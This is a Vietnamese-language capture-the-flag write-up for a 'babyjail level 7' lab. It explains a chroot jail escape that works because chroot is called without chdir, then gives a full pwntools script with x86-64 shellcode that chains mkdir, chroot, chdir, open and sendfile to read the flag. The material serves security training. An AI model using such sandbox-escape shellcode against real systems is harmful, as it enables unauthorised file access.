**Write-up for week 2 task**
---
**1. Baby jail level 7 challenge:**

* Ở level này chúng ta được đưa vào jail và được phép chạy shellcode với các syscall chdir, chroot, mkdir, open, read, write, sendfile
* 
* Có thể thấy vì được cấp quyền sử dụng lại chroot, mà chroot chỉ thay đổi root chứ không thay đổi cwd nên nếu chỉ chroot mà không chdir vào newroot đã chroot thì chương trình sẽ tạm thời không thể xác định được chúng ta đang ở đâu
* 
* Tại thời điểm này vì chưa chdir vào jail nên chroot vẫn chưa có tác dụng, vậy nên chúng ta hoàn toàn có thể cd ../../../ để trở về /root rồi dùng open và sendfile hoặc open read write để lấy flag
=> Ý tưởng của mình là dùng mkdir để chroot đến dir vừa tạo -> chdir ../ để lùi ra 1 folder về tmp -> open ../flag để lùi thêm 1 folder nữa về root và mở flag -> sendfile flag vừa mới open ra màn hình và có được flag
Và đây là payload mình đã dùng để lấy flag:
```python!
from pwn import *
#context.terminal = ["tmux", "splitw", "-h"]
p = ["/challenge/babyjail_level7", "/"]
chall = process(p)
shell_mkdir = asm('''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
mov rax, 0x53
lea rdi, [rip]
add rdi, 0x8
syscall
jmp $ + 0x5
''', arch = 'amd64', os = 'linux')
mkdir_arg = b'/x\x00'
shell_chroot = asm('''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
mov rax, 0xa1
lea rdi, [rip]
add rdi, 0x8
syscall
jmp $ + 0x5
''', arch = 'amd64', os = 'linux')
chroot_arg = b'/x\x00'
shell_chdir = asm('''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
mov rax, 0x50
lea rdi, [rip]
add rdi, 0x8
syscall
jmp $ + 0x6
''', arch = 'amd64', os = 'linux')
chdir_arg = b'../\x00'
shell_open = asm('''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
mov rax, 0x2
lea rdi, [rip]
add rdi, 0x8
syscall
jmp $ + 0xa
''', arch = 'amd64', os = 'linux')
open_arg = b'../flag\x00'
shell_sendfile = asm('''
mov rsi, rax
xor rax, rax
xor rdi, rdi
add rdi, 0x1
mov rdx, 0x50
mov r10, rdx
xor rdx, rdx
mov rax, 0x28
syscall
''', arch = 'amd64', os = 'linux')
payload = shell_mkdir + mkdir_arg
payload += shell_chroot + chroot_arg
payload += shell_chdir + chdir_arg
payload += shell_open + open_arg
payload += shell_sendfile
chall.sendline(payload)
chall.interactive()
```
* Flag:
* 